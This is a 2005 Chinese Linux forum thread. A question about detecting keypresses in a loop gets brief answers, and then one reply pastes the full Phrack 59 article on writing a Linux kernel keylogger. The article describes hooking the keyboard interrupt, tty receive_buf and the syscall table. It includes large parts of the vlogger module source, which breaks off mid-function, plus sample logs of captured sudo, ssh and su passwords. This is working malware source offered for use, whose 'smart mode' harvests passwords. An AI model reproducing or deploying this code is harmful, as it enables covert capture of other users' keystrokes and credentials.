LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 3188|回复: 5

关于响应键盘中断的函数

[复制链接]
发表于 2005-9-20 17:07:36 | 显示全部楼层 |阅读模式
请教各位,linux下有没有什么响应键盘中断的函数?
我是想实现类似以下的功能:

while(1)
{
      do something ......
      if (检测到键盘按键被按下)
      {
           break;
      }
}

我的考虑是有没有什么在应用层实现的函数,不涉及到驱动。当有键被按下,
这个函数会被调用,有点类似于windows下的消息响应机制。
反正类似与getch()这样的函数是不行的了。
发表于 2005-9-20 17:36:24 | 显示全部楼层
in 2.6 series kernel:
read /dev/input/event0
回复 支持 反对

使用道具 举报

发表于 2005-9-20 18:16:47 | 显示全部楼层
把stdin变成unbuffered,再用select等待N usec,应该可以吧?
回复 支持 反对

使用道具 举报

发表于 2005-9-20 20:36:26 | 显示全部楼层
linuxforum.net的c版精华里好像有
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-9-22 10:22:42 | 显示全部楼层
谢谢zhllg 的提醒,在linuxforum.net的c版精华里果然有。

另外两位朋友的方案:
daemeon :
    我现在是在2。4。18环境下,仍然可以read /dev/input/event0吗,另外怎样使用read /dev/input/event0?

dongp:
  把stdin变成unbuffered,再用select等待N usec,能说得具体些吗?

以前一直在windows上开发,刚学习linux没多久,问题可能很弱,还请多多指教!
回复 支持 反对

使用道具 举报

发表于 2005-11-22 15:01:08 | 显示全部楼层
http://www.phrack.org/show.php?p=59&a=14


  1.                              ==Phrack Inc.==

  2.                Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12


  3. |=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
  4. |=-----------------------------------------------------------------------=|
  5. |=------------------=[ rd <rd@thehackerschoice.com> ]=-------------------=|
  6. |=------------------------=[ June 19th, 2002 ]=--------------------------=|

  7. --[ Contents

  8. 1 - Introduction

  9. 2 - How Linux keyboard driver work

  10. 3 - Kernel based keylogger approaches
  11.    3.1 - Interrupt handler
  12.    3.2 - Function hijacking
  13.        3.2.1 - handle_scancode
  14.        3.2.2 - put_queue
  15.        3.2.3 - receive_buf
  16.        3.2.4 - tty_read
  17.        3.2.5 - sys_read/sys_write

  18. 4 - vlogger
  19.    4.1 - The syscall/tty approach
  20.    4.2 - Features
  21.    4.3 - How to use

  22. 5 - Greets

  23. 6 - References

  24. 7 - Keylogger source




  25. --[ 1 - Introduction

  26.   This article is divided into two parts.  The first part of the paper
  27. gives an overview on how the linux keyboard driver work, and discusses
  28. methods that can be used to create a kernel based keylogger.  This part
  29. will be useful for those who want to write a kernel based keylogger, or to
  30. write their own keyboard driver (for supporting input of non-supported
  31. language in linux environment, ...) or to program taking advantage of many
  32. features in the Linux keyboard driver.

  33.   The second part presents detail of vlogger, a smart kernel based linux
  34. keylogger, and how to use it.  Keylogger is a very interesting code being
  35. used widely in honeypots, hacked systems, ... by white and black hats.  As
  36. most of us known, besides user space keyloggers (such as iob, uberkey,
  37. unixkeylogger, ...), there are some kernel based keyloggers.  The earliest
  38. kernel based keylogger is linspy of halflife which was published in Phrack
  39. 50 (see [4]).  And the recent kkeylogger is presented in 'Kernel Based
  40. Keylogger' paper by mercenary (see [7]) that I found when was writing this
  41. paper.  The common method of those kernel based keyloggers using is to log
  42. user keystrokes by intercepting sys_read or sys_write system call.
  43. However, this approach is quite unstable and slowing down the whole system
  44. noticeably because sys_read (or sys_write) is the generic read/write
  45. function of the system; sys_read is called whenever a process wants to read
  46. something from devices (such as keyboard, file, serial port, ...).  In
  47. vlogger, I used a better way to implement it that hijacks the tty buffer
  48. processing function.

  49.   The reader is supposed to possess the knowledge on Linux Loadable Kernel
  50. Module.  Articles [1] and [2] are recommended to read before further
  51. reading.


  52. --[ 2 - How Linux keyboard driver work

  53.   Lets take a look at below figure to know how user inputs from console
  54. keyboard are processed:

  55.   _____________            _________             _________         
  56. /             \ put_queue|         |receive_buf|         |tty_read
  57. /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
  58. \               /         |         |           |buffer   |        
  59. \_____________/          |_________|           |_________|        

  60.      _________          ____________
  61.     |         |sys_read|            |
  62. --->|/dev/ttyX|------->|user process|
  63.     |         |        |            |
  64.     |_________|        |____________|


  65.                             Figure 1

  66.   First, when you press a key on the keyboard, the keyboard will send
  67. corresponding scancodes to keyboard driver.  A single key press can produce
  68. a sequence of up to six scancodes.

  69.   The handle_scancode() function in the keyboard driver parses the stream
  70. of scancodes and converts it into a series of key press and key release
  71. events called keycode by using a translation-table via kbd_translate()
  72. function.  Each key is provided with a unique keycode k in the range 1-127.
  73. Pressing key k produces keycode k, while releasing it produces keycode
  74. k+128.

  75.   For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
  76. Releasing 'a' produces keycode 158 (128+30).

  77.   Next, keycodes are converted to key symbols by looking them up on the
  78. appropriate keymap.  This is a quite complex process. There are eight
  79. possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,
  80. ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers
  81. and locks determines the keymap used.

  82.   After the above handling, the obtained characters are put into the raw
  83. tty queue - tty_flip_buffer.

  84.   In the tty line discipline, receive_buf() function is called periodically
  85. to get characters from tty_flip_buffer then put them into tty read queue.

  86.   When user process want to get user input, it calls read() function on
  87. stdin of the process. sys_read() function will calls read() function
  88. defined in file_operations structure (which is pointed to tty_read) of
  89. corresponding tty (ex /dev/tty0) to read input characters and return to the
  90. process.

  91.   The keyboard driver can be in one of 4 modes:
  92.         - scancode (RAW MODE): the application gets scancodes for input.  
  93.         It is used by applications that implement their own keyboard
  94.         driver (ex: X11)

  95.         - keycode (MEDIUMRAW MODE): the application gets information on
  96.         which keys (identified by their keycodes) get pressed and
  97.         released.

  98.         - ASCII (XLATE MODE): the application effectively gets the
  99.         characters as defined by the keymap, using an 8-bit encoding.

  100.         - Unicode (UNICODE MODE): this mode only differs from the ASCII
  101.         mode by allowing the user to compose UTF8 unicode characters by
  102.         their decimal value, using Ascii_0 to Ascii_9, or their
  103.         hexadecimal (4-digit) value, using Hex_0 to Hex_9.  A keymap can
  104.         be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol,
  105.         where each X is an hexadecimal digit).

  106.   Those modes influence what type of data that applications will get as
  107. keyboard input.  For more details on scancode, keycode and keymaps, please
  108. read [3].


  109. --[ 3 - Kernel based keylogger approaches

  110.   We can implement a kernel based keylogger in two ways by writing our own
  111. keyboard interrupt handler or hijacking one of input processing functions.


  112. ----[ 3.1 - Interrupt handler

  113.   To log keystrokes, we will use our own keyboard interrupt handler.  Under
  114. Intel architectures, the IRQ of the keyboard controlled is IRQ 1.  When
  115. receives a keyboard interrupt, our own keyboard interrupt handler read the
  116. scancode and keyboard status.  Keyboard events can be read and written via
  117. port 0x60(Keyboard data register) and 0x64(Keyboard status register).

  118. /* below code is intel specific */
  119. #define KEYBOARD_IRQ 1
  120. #define KBD_STATUS_REG 0x64
  121. #define KBD_CNTL_REG 0x64
  122. #define KBD_DATA_REG 0x60

  123. #define kbd_read_input() inb(KBD_DATA_REG)
  124. #define kbd_read_status() inb(KBD_STATUS_REG)
  125. #define kbd_write_output(val) outb(val, KBD_DATA_REG)
  126. #define kbd_write_command(val) outb(val, KBD_CNTL_REG)

  127. /* register our own IRQ handler */
  128. request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

  129. In my_keyboard_irq_handler():
  130.         scancode = kbd_read_input();
  131.         key_status = kbd_read_status();
  132.         log_scancode(scancode);

  133.   This method is platform dependent.  So it won't be portable among
  134. platforms.  And you have to be very careful with your interrupt handler if
  135. you don't want to crash your box ;)


  136. ----[ 3.2 - Function hijacking

  137.    Based on the Figure 1, we can implement our keylogger to log user inputs
  138. by hijacking one of handle_scancode(), put_queue(), receive_buf(),
  139. tty_read() and sys_read() functions.  Note that we can't intercept
  140. tty_insert_flip_char() function because it is an INLINE function.


  141. ------[ 3.2.1 - handle_scancode

  142.   This is the entry function of the keyboard driver (see keyboard.c).  It
  143. handles scancodes which are received from keyboard.

  144. # /usr/src/linux/drives/char/keyboard.c
  145. void handle_scancode(unsigned char scancode, int down);

  146.   We can replace original handle_scancode() function with our own to logs
  147. all scancodes.  But handle_scancode() function is not a global and exported
  148. function.  So to do this, we can use kernel function hijacking technique
  149. introduced by Silvio (see [5]).

  150. /* below is a code snippet written by Plasmoid */
  151. static struct semaphore hs_sem, log_sem;
  152. static int logging=1;

  153. #define CODESIZE 7
  154. static char hs_code[CODESIZE];
  155. static char hs_jump[CODESIZE] =
  156.        "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */
  157.        "\xff\xe0"                  /*      jmp    *%eax    */
  158.    ;

  159. void (*handle_scancode) (unsigned char, int) =
  160.         (void (*)(unsigned char, int)) HS_ADDRESS;

  161. void _handle_scancode(unsigned char scancode, int keydown)
  162. {
  163.        if (logging && keydown)
  164.           log_scancode(scancode, LOGFILE);
  165.    
  166.        /*
  167.         * Restore first bytes of the original handle_scancode code.  Call
  168.         * the restored function and re-restore the jump code.  Code is
  169.         * protected by semaphore hs_sem, we only want one CPU in here at a
  170.         * time.
  171.         */     
  172.        down(&hs_sem);
  173.    
  174.        memcpy(handle_scancode, hs_code, CODESIZE);
  175.        handle_scancode(scancode, keydown);
  176.        memcpy(handle_scancode, hs_jump, CODESIZE);
  177.    
  178.        up(&hs_sem);
  179. }

  180. HS_ADDRESS is set by the Makefile executing this command
  181. HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))

  182.   Similar to method presented in 3.1, the advantage of this method is the
  183. ability to log keystrokes under X and the console, no matter if a tty is
  184. invoked or not.  And you will know exactly what key is pressed on the
  185. keyboard (including special keys such as Control, Alt, Shift, Print Screen,
  186. ...).  But this method is platform dependent and won't be portable among
  187. platforms.  This method also can't log keystroke of remote sessions and is
  188. quite complex for building an advance logger.


  189. ------[ 3.2.2 - put_queue

  190.   This function is called by handle_scancode() function to put characters
  191. into tty_queue.

  192. # /usr/src/linux/drives/char/keyboard.c
  193. void put_queue(int ch);

  194.   To intercept this function, we can use the above technique as in section
  195. (3.2.1).


  196. ------[ 3.2.3 - receive_buf

  197.   receive_buf() function is called by the low-level tty driver to send
  198. characters received by the hardware to the line discipline for processing.

  199. # /usr/src/linux/drivers/char/n_tty.c */
  200. static void n_tty_receive_buf(struct tty_struct *tty, const
  201.                                 unsigned char *cp, char *fp, int count)

  202. cp is a pointer to the buffer of input character received by the device.
  203. fp is a pointer to a pointer of flag bytes which indicate whether a
  204. character was received with a parity error, etc.

  205. Lets take a deeper look into tty structures

  206. # /usr/include/linux/tty.h
  207. struct tty_struct {
  208.         int        magic;
  209.         struct tty_driver driver;
  210.         struct tty_ldisc ldisc;
  211.         struct termios *termios, *termios_locked;
  212.         ...
  213. }

  214. # /usr/include/linux/tty_ldisc.h
  215. struct tty_ldisc {
  216.         int        magic;
  217.         char        *name;
  218.         ...       
  219.         void        (*receive_buf)(struct tty_struct *,
  220.                         const unsigned char *cp, char *fp, int count);
  221.         int        (*receive_room)(struct tty_struct *);
  222.         void        (*write_wakeup)(struct tty_struct *);
  223. };

  224.   To intercept this function, we can save the original tty receive_buf()
  225. function then set ldisc.receive_buf to our own new_receive_buf() function
  226. in order to logging user inputs.

  227. Ex: to log inputs on the tty0

  228. int fd = open("/dev/tty0", O_RDONLY, 0);
  229. struct file *file = fget(fd);
  230. struct tty_struct *tty = file->private_data;
  231. old_receive_buf = tty->ldisc.receive_buf;
  232. tty->ldisc.receive_buf = new_receive_buf;

  233. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
  234.                                                 char *fp, int count)
  235. {       
  236.         logging(tty, cp, count);         //log inputs

  237.         /* call the original receive_buf */
  238.         (*old_receive_buf)(tty, cp, fp, count);
  239. }


  240. ------[ 3.2.4 - tty_read

  241.   This function is called when a process wants to read input characters
  242. from a tty via sys_read() function.

  243. # /usr/src/linux/drives/char/tty_io.c
  244. static ssize_t tty_read(struct file * file, char * buf, size_t count,
  245.                                 loff_t *ppos)

  246. static struct file_operations tty_fops = {
  247.         llseek:                tty_lseek,
  248.         read:                tty_read,
  249.         write:                tty_write,
  250.         poll:                tty_poll,
  251.         ioctl:                tty_ioctl,
  252.         open:                tty_open,
  253.         release:        tty_release,
  254.         fasync:                tty_fasync,
  255. };

  256. To log inputs on the tty0:

  257. int fd = open("/dev/tty0", O_RDONLY, 0);
  258. struct file *file = fget(fd);       
  259. old_tty_read = file->f_op->read;
  260. file->f_op->read = new_tty_read;


  261. ------[ 3.2.5 - sys_read/sys_write

  262.   We will intercept sys_read/sys_write system calls to redirect it to our
  263. own code which logs the content of the read/write calls.  This method was
  264. presented by halflife in Phrack 50 (see [4]).  I highly recommend reading
  265. that paper and a great article written by pragmatic called "Complete Linux
  266. Loadable Kernel Modules" (see [2]).

  267. The code to intercept sys_read/sys_write will be something like this:

  268. extern void *sys_call_table[];
  269. original_sys_read = sys_call_table[__NR_read];
  270. sys_call_table[__NR_read] = new_sys_read;


  271. --[ 4 - vlogger

  272.   This part will introduce my kernel keylogger which is used method
  273. described in section 3.2.3 to acquire more abilities than common keyloggers
  274. used sys_read/sys_write systemcall replacement approach.  I have tested the
  275. code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and
  276. 2.4.18.


  277. ----[ 4.1 - The syscall/tty approach

  278.   To logging both local (logged from console) and remote sessions, I chose
  279. the method of intercepting receive_buf() function (see 3.2.3).

  280.   In the kernel, tty_struct and tty_queue structures are dynamically
  281. allocated only when the tty is open.  Thus, we also have to intercept
  282. sys_open syscall to dynamically hooking the receive_buf() function of each
  283. tty or pty when it's invoked.

  284. // to intercept open syscall
  285. original_sys_open = sys_call_table[__NR_open];
  286. sys_call_table[__NR_open] = new_sys_open;

  287. // new_sys_open()
  288. asmlinkage int new_sys_open(const char *filename, int flags, int mode)
  289. {
  290. ...
  291.         // call the original_sys_open
  292.         ret = (*original_sys_open)(filename, flags, mode);
  293.        
  294.         if (ret >= 0) {
  295.                 struct tty_struct * tty;
  296. ...
  297.                 file = fget(ret);
  298.                 tty = file->private_data;
  299.                 if (tty != NULL &&
  300. ...
  301.                         tty->ldisc.receive_buf != new_receive_buf) {
  302. ...
  303.                                 // save the old receive_buf                       
  304.                                 old_receive_buf = tty->ldisc.receive_buf;
  305. ...

  306.                        /*
  307.                         * init to intercept receive_buf of this tty
  308.                         * tty->ldisc.receive_buf = new_receive_buf;
  309.                         */
  310.                         init_tty(tty, TTY_INDEX(tty));
  311.                 }
  312. ...
  313. }

  314. // our new receive_buf() function
  315. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
  316.                                                 char *fp, int count)
  317. {
  318.         if (!tty->real_raw && !tty->raw)        // ignore raw mode
  319.                 // call our logging function to log user inputs
  320.                 vlogger_process(tty, cp, count);
  321.         // call the original receive_buf
  322.         (*old_receive_buf)(tty, cp, fp, count);
  323. }


  324. ----[ 4.2 - Features

  325.   - Logs both local and remote sessions (via tty & pts)

  326.   - Separate logging for each tty/session.  Each tty has their own logging
  327.     buffer.

  328.   - Nearly support all special chars such as arrow keys (left, right, up,
  329.     down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
  330.     Home, Page Up, Page Down, BackSpace, ...

  331.   - Support some line editing keys included CTRL-U and BackSpace.

  332.   - Timestamps logging, timezone supported (ripped off some codes from
  333.     libc).

  334.   - Multiple logging modes

  335.         o dumb mode: logs all keystrokes

  336.         o smart mode: detects password prompt automatically to log
  337.         user/password only.  I used the similar technique presented in
  338.         "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
  339.         Designer and Dug Song (see [6]).  When the application turns input
  340.         echoing off, we assume that it is for entering a password.

  341.         o normal mode: disable logging

  342. You can switch between logging modes by using a magic password.

  343. #define VK_TOGLE_CHAR        29        // CTRL-]
  344. #define MAGIC_PASS        "31337"        // to switch mode, type MAGIC_PASS
  345.                                 // then press VK_TOGLE_CHAR key

  346. ----[ 4.3 - How to use

  347. Change the following options

  348. // directory to store log files
  349. #define LOG_DIR "/tmp/log"

  350. // your local timezone
  351. #define TIMEZONE        7*60*60        // GMT+7

  352. // your magic password
  353. #define MAGIC_PASS        "31337"

  354. Below is how the log file looks like:

  355. [root@localhost log]# ls -l
  356. total 60
  357. -rw-------    1 root     root          633 Jun 19 20:59 pass.log
  358. -rw-------    1 root     root        37593 Jun 19 18:51 pts11
  359. -rw-------    1 root     root           56 Jun 19 19:00 pts20
  360. -rw-------    1 root     root          746 Jun 19 20:06 pts26
  361. -rw-------    1 root     root          116 Jun 19 19:57 pts29
  362. -rw-------    1 root     root         3219 Jun 19 21:30 tty1
  363. -rw-------    1 root     root        18028 Jun 19 20:54 tty2

  364. ---in dumb mode
  365. [root@localhost log]# head tty2                // local session
  366. <19/06/2002-20:53:47 uid=501 bash> pwd
  367. <19/06/2002-20:53:51 uid=501 bash> uname -a
  368. <19/06/2002-20:53:53 uid=501 bash> lsmod
  369. <19/06/2002-20:53:56 uid=501 bash> pwd
  370. <19/06/2002-20:54:05 uid=501 bash> cd /var/log
  371. <19/06/2002-20:54:13 uid=501 bash> tail messages
  372. <19/06/2002-20:54:21 uid=501 bash> cd ~
  373. <19/06/2002-20:54:22 uid=501 bash> ls
  374. <19/06/2002-20:54:29 uid=501 bash> tty
  375. <19/06/2002-20:54:29 uid=501 bash> [UP]

  376. [root@localhost log]# tail pts11        // remote session  
  377. <19/06/2002-18:48:27 uid=0 bash> cd new
  378. <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
  379. <19/06/2002-18:48:21 uid=0 bash> lsmod
  380. <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
  381. <19/06/2002-18:48:28 uid=0 bash> ls -l
  382. <19/06/2002-18:48:30 uid=0 bash> tail pts11
  383. <19/06/2002-18:48:38 uid=0 bash> [UP] | more
  384. <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
  385. <19/06/2002-18:50:48 uid=0 vi> :q
  386. <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger

  387. ---in smart mode
  388. [root@localhost log]# cat pass.log
  389. [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
  390. USER/CMD sudo traceroute yahoo.com
  391. PASS 5hgt6d
  392. PASS

  393. [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
  394. USER/CMD ssh guest@host.com
  395. PASS guest

  396. [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
  397. USER/CMD open ftp.ilog.fr
  398. USER Anonymous
  399. PASS heh@heh

  400. [19/06/2002-20:59:54 tty=pts/29 uid=504 su]
  401. USER/CMD su -
  402. PASS asdf1234


  403. Please check http://www.thehackerschoice.com/ for update on the new version
  404. of this tool.


  405. --[ 5 - Greets  

  406. Thanks to plasmoid, skyper for your very useful comments
  407. Greets to THC, vnsecurity and all friends
  408. Finally, thanks to mr. thang for english corrections


  409. --[ 6 - References

  410. [1] Linux Kernel Module Programming
  411.     http://www.tldp.org/LDP/lkmpg/
  412. [2] Complete Linux Loadable Kernel Modules - Pragmatic
  413.     http://www.thehackerschoice.com/papers/LKM_HACKING.html
  414. [3] The Linux keyboard driver - Andries Brouwer
  415.     http://www.linuxjournal.com/lj-issues/issue14/1080.html
  416. [4] Abuse of the Linux Kernel for Fun and Profit - Halflife
  417.     http://www.phrack.com/phrack/50/P50-05
  418. [5] Kernel function hijacking - Silvio Cesare
  419.     http://www.big.net.au/~silvio/kernel-hijack.txt
  420. [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
  421.     http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
  422. [7] Kernel Based Keylogger - Mercenary
  423.     http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt

  424. --[ 7 - Keylogger sources

  425. <++> vlogger/Makefile
  426. #
  427. #  vlogger 1.0 by rd
  428. #
  429. #  LOCAL_ONLY                logging local session only. Doesn't intercept
  430. #                        sys_open system call
  431. #  DEBUG                Enable debug. Turn on this options will slow
  432. #                        down your system
  433. #

  434. KERNELDIR =/usr/src/linux
  435. include $(KERNELDIR)/.config
  436. MODVERFILE = $(KERNELDIR)/include/linux/modversions.h

  437. MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
  438. CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
  439.         -Wstrict-prototypes -fomit-frame-pointer -pipe \
  440.         -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
  441.         -malign-functions=2

  442. all : vlogger.o

  443. vlogger.o: vlogger.c
  444.         $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@

  445. clean:
  446.         rm -f *.o
  447. <-->
  448. <++> vlogger/vlogger.c
  449. /*
  450. *  vlogger 1.0
  451. *
  452. *  Copyright (C) 2002 rd <rd@vnsecurity.net>
  453. *
  454. *  Please check http://www.thehackerschoice.com/ for update
  455. *
  456. *  This program is free software; you can redistribute it and/or modify
  457. *  it under the terms of the GNU General Public License as published by
  458. *  the Free Software Foundation; either version 2 of the License, or
  459. *  (at your option) any later version
  460. *
  461. *  This program is distributed in the hope that it will be useful, but
  462. *  WITHOUT ANY WARRANTY; without even the implied warranty of
  463. *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  464. *  General Public License for more details.
  465. *
  466. *  Greets to THC & vnsecurity
  467. *
  468. */

  469. #define __KERNEL_SYSCALLS__
  470. #include <linux/version.h>
  471. #include <linux/module.h>
  472. #include <linux/kernel.h>
  473. #include <linux/smp_lock.h>
  474. #include <linux/sched.h>
  475. #include <linux/unistd.h>
  476. #include <linux/string.h>
  477. #include <linux/file.h>
  478. #include <asm/uaccess.h>
  479. #include <linux/proc_fs.h>
  480. #include <asm/errno.h>
  481. #include <asm/io.h>

  482. #ifndef KERNEL_VERSION
  483. #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
  484. #endif

  485. #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
  486. MODULE_LICENSE("GPL");
  487. MODULE_AUTHOR("rd@vnsecurity.net");
  488. #endif

  489. #define MODULE_NAME "vlogger "
  490. #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"

  491. #ifdef DEBUG
  492. #define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
  493. #else
  494. #define DPRINT(format, args...)
  495. #endif

  496. #define N_TTY_NAME "tty"
  497. #define N_PTS_NAME "pts"
  498. #define MAX_TTY_CON 8
  499. #define MAX_PTS_CON 256
  500. #define LOG_DIR "/tmp/log"
  501. #define PASS_LOG LOG_DIR "/pass.log"

  502. #define TIMEZONE 7*60*60        // GMT+7

  503. #define ESC_CHAR 27
  504. #define BACK_SPACE_CHAR1 127        // local
  505. #define BACK_SPACE_CHAR2 8        // remote

  506. #define VK_TOGLE_CHAR 29        // CTRL-]
  507. #define MAGIC_PASS "31337"         // to switch mode, press MAGIC_PASS and
  508.                                 // VK_TOGLE_CHAR

  509. #define        VK_NORMAL 0
  510. #define        VK_DUMBMODE 1
  511. #define        VK_SMARTMODE 2
  512. #define DEFAULT_MODE VK_DUMBMODE

  513. #define MAX_BUFFER 256
  514. #define MAX_SPECIAL_CHAR_SZ 12

  515. #define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
  516.                         + (tty)->driver.name_base
  517. #define TTY_INDEX(tty) tty->driver.type == \
  518.                         TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
  519.                         TTY_NUMBER(tty):TTY_NUMBER(tty)
  520. #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
  521. #define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
  522.                                                         buf, count)

  523. #define TTY_NAME(tty) (tty->driver.type == \
  524.                 TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
  525.                 tty->driver.type == TTY_DRIVER_TYPE_PTY && \
  526.                 tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")

  527. #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
  528. #define END_KMEM set_fs(old_fs); }

  529. extern void *sys_call_table[];
  530. int errno;

  531. struct tlogger {
  532.         struct tty_struct *tty;
  533.         char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
  534.         int lastpos;
  535.         int status;
  536.         int pass;
  537. };

  538. struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
  539. void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
  540.                         char *, int);
  541. asmlinkage int (*original_sys_open)(const char *, int, int);

  542. int vlogger_mode = DEFAULT_MODE;

  543. /* Prototypes */
  544. static inline void init_tty(struct tty_struct *, int);

  545. /*
  546. static char *_tty_make_name(struct tty_struct *tty,
  547.                                 const char *name, char *buf)
  548. {
  549.         int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;

  550.         if (!tty)
  551.                 strcpy(buf, "NULL tty");
  552.         else
  553.                 sprintf(buf, name,
  554.                         idx + tty->driver.name_base);
  555.         return buf;
  556. }

  557. char *tty_name(struct tty_struct *tty, char *buf)
  558. {
  559.         return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
  560. }
  561. */

  562. #define SECS_PER_HOUR   (60 * 60)
  563. #define SECS_PER_DAY    (SECS_PER_HOUR * 24)
  564. #define isleap(year) \
  565.         ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
  566. #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
  567. #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

  568. struct vtm {
  569.         int tm_sec;
  570.         int tm_min;
  571.         int tm_hour;
  572.         int tm_mday;
  573.         int tm_mon;
  574.         int tm_year;
  575. };


  576. /*
  577. *  Convert from epoch to date
  578. */

  579. int epoch2time (const time_t *t, long int offset, struct vtm *tp)
  580. {
  581.         static const unsigned short int mon_yday[2][13] = {
  582.            /* Normal years.  */
  583.            { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
  584.            /* Leap years.  */
  585.            { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
  586.         };

  587.         long int days, rem, y;
  588.         const unsigned short int *ip;

  589.         days = *t / SECS_PER_DAY;
  590.         rem = *t % SECS_PER_DAY;
  591.         rem += offset;
  592.         while (rem < 0) {
  593.                 rem += SECS_PER_DAY;
  594.                 --days;
  595.         }
  596.         while (rem >= SECS_PER_DAY) {
  597.                 rem -= SECS_PER_DAY;
  598.                 ++days;
  599.         }
  600.         tp->tm_hour = rem / SECS_PER_HOUR;
  601.         rem %= SECS_PER_HOUR;
  602.         tp->tm_min = rem / 60;
  603.         tp->tm_sec = rem % 60;
  604.         y = 1970;

  605.         while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
  606.                 long int yg = y + days / 365 - (days % 365 < 0);
  607.                 days -= ((yg - y) * 365
  608.                         + LEAPS_THRU_END_OF (yg - 1)
  609.                         - LEAPS_THRU_END_OF (y - 1));
  610.                 y = yg;
  611.         }
  612.         tp->tm_year = y - 1900;
  613.         if (tp->tm_year != y - 1900)
  614.                 return 0;
  615.         ip = mon_yday[isleap(y)];
  616.         for (y = 11; days < (long int) ip[y]; --y)
  617.                 continue;
  618.         days -= ip[y];
  619.         tp->tm_mon = y;
  620.         tp->tm_mday = days + 1;
  621.         return 1;
  622. }


  623. /*
  624. *  Get current date & time
  625. */

  626. void get_time (char *date_time)
  627. {
  628.         struct timeval tv;
  629.         time_t t;
  630.         struct vtm tm;
  631.        
  632.         do_gettimeofday(&tv);
  633.         t = (time_t)tv.tv_sec;
  634.        
  635.         epoch2time(&t, TIMEZONE, &tm);

  636.         sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
  637.                 tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
  638.                 tm.tm_sec);
  639. }


  640. /*
  641. * Get task structure from pgrp id
  642. */

  643. inline struct task_struct *get_task(pid_t pgrp)
  644. {
  645.         struct task_struct *task = current;

  646.         do {
  647.                 if (task->pgrp == pgrp) {
  648.                         return task;
  649.                 }
  650.                 task = task->next_task;
  651.         } while (task != current);
  652.         return NULL;
  653. }


  654. #define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
  655. #define WRITABLE(f) (f->f_op && f->f_op->write)

  656. int write_to_file(char *logfile, char *buf, int size)
  657. {
  658.         int ret = 0;
  659.         struct file   *f = NULL;

  660.         lock_kernel();
  661.         BEGIN_KMEM;
  662.         f = filp_open(logfile, O_CREAT|O_APPEND, 00600);

  663.         if (IS_ERR(f)) {
  664.                 DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
  665.                 ret = -1;
  666.         } else {
  667.                 if (WRITABLE(f))
  668.                         _write(f, buf, size);
  669.                 else {
  670.                               DPRINT("%s does not have a write method\n",
  671.                                       logfile);
  672.                         ret = -1;
  673.                 }
  674.                            
  675.                 if ((ret = filp_close(f,NULL)))
  676.                         DPRINT("Error %d closing %s\n", -ret, logfile);
  677.         }
  678.         END_KMEM;
  679.         unlock_kernel();

  680.         return ret;
  681. }


  682. #define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
  683. #define END_ROOT current->fsuid = saved_fsuid; }


  684. /*
  685. *  Logging keystrokes
  686. */

  687. void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
  688. {
  689.         int i;

  690.         char logfile[256];
  691.         char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
  692.         char date_time[24];
